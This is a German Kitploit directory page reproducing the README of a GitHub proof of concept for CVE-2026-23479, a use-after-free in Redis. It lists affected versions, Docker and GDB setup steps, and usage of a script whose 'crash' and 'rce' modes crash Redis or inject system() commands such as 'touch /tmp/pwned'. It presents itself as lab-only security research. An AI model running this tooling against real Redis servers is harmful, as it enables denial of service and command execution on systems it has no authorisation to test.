Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-23479-Redis-UAF-Proof-of-Concept — Proof of Concept mit GDB-gestützter Exploitation (nur für Bildungs-/Laborzwecke) | Kitploit
Tools/GitHubGitHub/rizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept
SchwachstellenanalyseExploitationDebuggerLernen & BildungDatenbanksicherheitBinary-ExploitationLabs & Praxis
GitHubrizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept

CVE-2026-23479-Redis-UAF-Proof-of-Concept

Proof of Concept mit GDB-gestützter Exploitation (nur für Bildungs-/Laborzwecke)

Repository anzeigen
27vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

🔥 CVE-2026-23479 – Redis UAF Proof of Concept

License Python Docker CVE PoC

Use-After-Free in Redis unblockClientOnKey() führt zu Remote Code Execution
Proof of Concept mit GDB-unterstützter Ausnutzung (nur zu Bildungs-/Laborzwecken)


📖 Überblick

CVE-2026-23479 ist eine kritische Use-After-Free (UAF)-Schwachstelle in Redis-Versionen 7.2.0 bis 8.6.2.
Der Fehler liegt in der Funktion unblockClientOnKey(), die processCommandAndResetClient() ohne Prüfung des Rückgabewerts aufruft.
Wenn der Client während dieses Aufrufs freigegeben wird (z. B. durch Eviction), arbeitet der Aufrufer weiterhin mit einem Dangling Pointer → UAF.
Ein Angreifer, der den Heap nach der Freigabe gezielt formen kann, könnte beliebigen Code ausführen.

Dieses Repository bietet ein GDB-gestütztes PoC, das:

  • Den exakten verwundbaren Codepfad auslöst
  • Die UAF beweist, indem absichtlich ein Absturz ausgelöst wird (freeClient()-Aufruf)
  • Beliebige Befehlsausführung demonstriert, indem an derselben Stelle ein system()-Aufruf injiziert wird

⚠️ Wichtig: Dies ist kein einsatzfähiger Exploit. Er verwendet GDB in einem privilegierten Docker-Container, um zu simulieren, was ein echter Angreifer nach erfolgreicher Ausnutzung der UAF erreichen könnte.
Verwenden Sie es nur in Ihrem eigenen Labor oder auf Systemen, für die Sie eine ausdrückliche Testfreigabe haben.


✨ Funktionen

  • 🧪 Vier Betriebsmodi – crash, gdb, rce, full
  • 🐳 Docker-basiert – keine Notwendigkeit, ein verwundbares Redis auf dem Host zu installieren
  • 🔍 Automatische Versionserkennung – prüft, ob das Ziel im betroffenen Bereich liegt
  • 🧹 Selbstreinigend – beendet veraltete GDB-Sitzungen vor jedem Lauf
  • 🎯 Flexibler Containername – beliebigen Container über --container angeben
  • 📦 Einzelne Python-Datei – keine Abhängigkeiten außerhalb der Standardbibliothek

🧠 So funktioniert es

  1. Ein Opfer blockieren – Ein XREAD BLOCK-Befehl lässt den Client auf Stream-Daten warten.
  2. GDB anhängen – GDB hängt sich an den Redis-Prozess (pid 1) im Container an.
  3. Einen Breakpoint setzen auf processCommandAndResetClient – die Funktion, die aufgerufen wird, wenn der blockierte Client erneut verarbeitet wird.
  4. Entblocken auslösen – Ein XADD auf demselben Stream weckt das Opfer.
  5. Beim Erreichen des Breakpoints:
    • gdb-Modus: ruft freeClient($rdi) auf → verursacht absichtlich eine SIGSEGV → beweist die UAF.
    • rce-Modus: ruft system("your command") auf → führt beliebige Shell-Befehle als Redis-Benutzer aus (standardmäßig root).
  6. Verifizieren – das Skript prüft, ob die erwartete Beweisdatei existiert (RCE) oder ob Redis abgestürzt ist (UAF).

Der Breakpoint feuert jedes Mal, wenn ein blockierter Client entblockt wird, und zeigt, dass derselbe Codepfad, der die UAF enthält, auch Codeausführung ermöglicht.


📋 Betroffene Versionen

BranchVerwundbarer Bereich
7.27.2.0 – 7.2.13
7.47.4.0 – 7.4.8
8.28.2.0 – 8.2.5
8.48.4.0 – 8.4.2
8.68.6.0 – 8.6.2

Das Skript parst automatisch die Redis-Version und meldet, ob sie verwundbar ist.


🐳 Voraussetzungen

  • Docker installiert und in Betrieb
  • Python 3.8+ (nur Standardbibliothek verwendet)
  • Ein Redis-8.6.2-Docker-Image, das apt verwendet (z. B. das offizielle redis:8.6.2)
  • Der Container muss mit --privileged erstellt werden (erforderlich für ptrace)

⚙️ Einrichtung

1. Repository klonen

git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. Einen verwundbaren Redis-Container starten

docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. GDB im Container installieren

docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. Verifizieren

docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # should return PONG

🚀 Verwendung

python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

Modi

ModusBeschreibung
crashVersucht, die UAF über Speicherdruck auszulösen (kein GDB erforderlich). Redis kann abstürzen, dies ist jedoch nicht garantiert.
gdbGDB anhängen und freeClient() am Breakpoint aufrufen → erzwingt eine SIGSEGV (beweist die UAF).
rceGDB anhängen und system(cmd) am Breakpoint aufrufen → führt einen Shell-Befehl im Container aus.
fullZuerst crash ausführen; falls Redis nicht abstürzt, auf gdb zurückgreifen.

Optionen

ArgumentStandardBeschreibung
target(erforderlich)IP-Adresse des Redis-Servers
-p, --port6379Redis-Port
-m, --modefullEiner von crash, gdb, rce, full
--containerenv-redis-vuln-1Docker-Containername
--cmdid > /tmp/pwned_by_cveBefehl, der im rce-Modus ausgeführt werden soll

📚 Schritt-für-Schritt-Beispiele

Hinweis: Alle Befehle werden von der Host-Maschine ausgeführt, nicht im Docker-Container.

1. Die UAF per GDB nachweisen

python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

Erwartete Ausgabe (Auszug)

[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

Redis wird nach dem Segmentation Fault abstürzen.

Container neu starten:

docker start redis-vuln-local

2. Remote Code Execution (RCE) erreichen

Starten Sie Redis neu, um einen sauberen Zustand sicherzustellen:

docker restart redis-vuln-local

Exploit ausführen:

python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

Beweisdatei überprüfen:

docker exec redis-vuln-local ls -l /tmp/pwned

Bei Erfolg existiert die Datei, was beweist, dass:

system("touch /tmp/pwned");

im Redis-Container ausgeführt wurde.


3. Die UAF ohne GDB auslösen (Speicherdruck)

python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

Wenn Redis unerwartet beendet wird (der Container läuft nicht mehr), wurde die UAF wahrscheinlich ausgelöst.

Starten Sie ihn neu mit:

docker start redis-vuln-local

4. Den vollständigen Test ausführen

python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

Dieser Modus:

  1. Versucht den Absturz durch Speicherdruck.
  2. Greift auf die GDB-gestützte Methode zurück, wenn Redis überlebt.

📸 Beispielausgabe (RCE-Modus)

============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned
Tool herunterladen